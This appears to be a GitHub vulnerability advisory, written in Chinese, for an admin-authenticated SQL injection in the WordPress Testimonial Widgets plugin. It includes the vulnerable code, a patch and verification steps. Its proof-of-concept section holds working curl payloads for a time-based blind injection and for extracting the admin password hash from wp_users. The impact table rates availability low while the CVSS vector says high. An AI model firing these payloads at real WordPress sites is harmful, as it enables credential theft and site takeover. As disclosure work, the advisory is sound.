Kimdir01/testimonial-widgets-sqli-cve

GitHub: Kimdir01/testimonial-widgets-sqli-cve

该项目披露了 WordPress Testimonial Widgets 插件后台管理面板中通过 search 参数触发的已认证 SQL 注入漏洞(CVSS 7.2),并提供完整的 PoC 与修复方案。

Stars: 0 | Forks: 0

# CVE-2026-XXXXX ## 通过 Search 参数在 Testimonial Widgets WordPress 插件中触发管理员 SQL 注入 ### 漏洞公告信息 | 字段 | 值 | |-------|-------| | **生态系统** | WordPress Plugin | | **包/产品** | Testimonial Widgets | | **受影响版本** | 直至 SVN r3587815 的所有版本 | | **修复版本** | 无 | | **严重程度** | **高 (CVSS 7.2)** | | **CWE** | CWE-89 (SQL 注入) | | **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H | | **插件 Slug** | `testimonial-widgets` | | **活跃安装量** | 10,000+ | | **代码库** | https://plugins.svn.wordpress.org/testimonial-widgets/ | ### 概要 Testimonial Widgets 插件的后台管理面板中存在一个已认证的 SQL 注入漏洞。来自 `$_GET` 的 `search` 参数仅通过 `sanitize_text_field()` 进行了清理——这并不能防止 SQL 注入——随后在未使用 `$wpdb->prepare()` 的情况下被直接拼接到了 SQL `LIKE` 子句中。 ### 受影响组件 | 字段 | 值 | |-------|-------| | **生态系统** | WordPress Plugin | | **包** | testimonial-widgets | | **供应商** | Trustindex | | **受影响版本** | 所有版本 (SVN r3587815) | | **修复版本** | 无 | | **文件** | `testimonials-plugin.class.php`,第 4042 行 | ### 描述 位于 `tabs/index-widget-header.php` 的插件后台小部件列表页面接收一个 `search` GET 参数,应用了 `sanitize_text_field()` 处理,然后将其传递给 `get_widgets()` 函数,该函数直接在 SQL 中使用了此参数: **漏洞代码:** `tabs/index-widget-header.php` (第 4–8 行): ``` $search = null; if(isset($_GET['search'])) { $search = sanitize_text_field($_GET['search']); // ❌ No SQL escaping } $widgets = $trustindex_testimonials_pm->get_widgets($order_by, $order, $search); ``` `testimonials-plugin.class.php` (第 4038–4042 行): ``` public function get_widgets($order_by = "id", $order = "asc", $search = null) { $dbtable = $this->get_widget_tablename(); $sql = "SELECT * FROM $dbtable"; if ($search) { $sql .= " WHERE name LIKE '%{$search}%'"; // ← NO $wpdb->prepare()! } $results = $wpdb->get_results($sql); // ← SQL injection via $search } ``` `sanitize_text_field()` 仅去除 HTML 标签和无效的 UTF-8 字符——它并不会转义 `'`、`"` 或 `--` 等 SQL 特殊字符。 ### 概念验证 **环境:** 启用了 Testimonial Widgets 插件的 WordPress 6.x,以管理员身份认证。 **PoC — 基于时间的盲注 (Time-Based Blind SQL Injection):** ``` # 需要 Admin access (PR:H) curl "http://target/wp-admin/admin.php?page=testimonial-widgets&search=test'+AND+SLEEP(5)--+" # 5+秒的响应延迟确认了 SQL injection ``` **PoC — 凭据提取:** ``` curl "http://target/wp-admin/admin.php?page=testimonial-widgets&search=test'+AND+IF(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1)='$',SLEEP(5),0)--+" # admin 密码哈希的迭代字符提取 ``` **执行流程:** 1. 管理员在 URL 中携带 `search` 参数访问推荐小部件列表页面 2. `sanitize_text_field()` 剥离了 HTML,但放行了 SQL 元字符 3. 原始字符串被直接插值到 `LIKE '%{$search}%'` 中 4. `$wpdb->get_results()` 执行了被注入的 SQL 5. 基于时间的盲注可提取用户密码哈希 ### 影响 | CIA | 等级 | 描述 | |-----|-------|-------------| | 机密性 | **高** | 通过基于时间的盲注提取 WordPress 用户密码哈希 | | 完整性 | **高** | 破解管理员哈希 → 导致整站沦陷 | | 可用性 | **低** | 仅限于通过盲注提取数据 | **前提条件:** 管理员权限认证 (PR:H)。CVSS 7.2。 ### 补丁 使用 `$wpdb->prepare()` 替换字符串插值: ``` if ($search) { - $sql .= " WHERE name LIKE '%{$search}%'"; + $sql .= $wpdb->prepare(" WHERE name LIKE %s", '%' . $wpdb->esc_like($search) . '%'); } ``` 或者在用于 SQL 之前应用 `esc_sql()`,或者针对 LIKE 子句结合使用 `$wpdb->prepare()` 和 `$wpdb->esc_like()`。 ### 参考 | 类型 | URL | |------|-----| | WordPress.org | https://wordpress.org/plugins/testimonial-widgets/ | | 漏洞代码 | https://plugins.svn.wordpress.org/testimonial-widgets/trunk/testimonials-plugin.class.php | | $wpdb::prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ | | CWE-89 | https://cwe.mitre.org/data/definitions/89.html | ### 验证 ``` svn co https://plugins.svn.wordpress.org/testimonial-widgets/trunk/ tw-verify cd tw-verify grep -n "LIKE.*%{\$search}%" testimonials-plugin.class.php # 输出:4042: $sql .= " WHERE name LIKE '%{$search}%'"; grep -n "sanitize_text_field.*search" tabs/index-widget-header.php # 输出:7: $search = sanitize_text_field($_GET['search']); ``` **验证状态:✅ 所有检查通过** ### 时间线 | 日期 | 事件 | |------|-------| | 2026-06-27 | 通过自动化扫描器发现漏洞并进行了人工验证 | | 2026-06-27 | 通过非公开披露渠道通知了供应商 | | 待定 + 90 天 | 协调公开披露 | ### CVSS v3.1 ``` CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H — 7.2 HIGH AV:N — Remote over HTTP AC:L — Simple GET request PR:H — Requires admin authentication UI:N — No user interaction S:U — Same security context C:H — Extract password hashes via subquery I:H — Crack hash → admin → modify site A:H — Admin → delete all content ```
标签:CISA项目, PoC, Web安全, WordPress插件, 多线程, 文件完整性监控, 暴力破解, 蓝队分析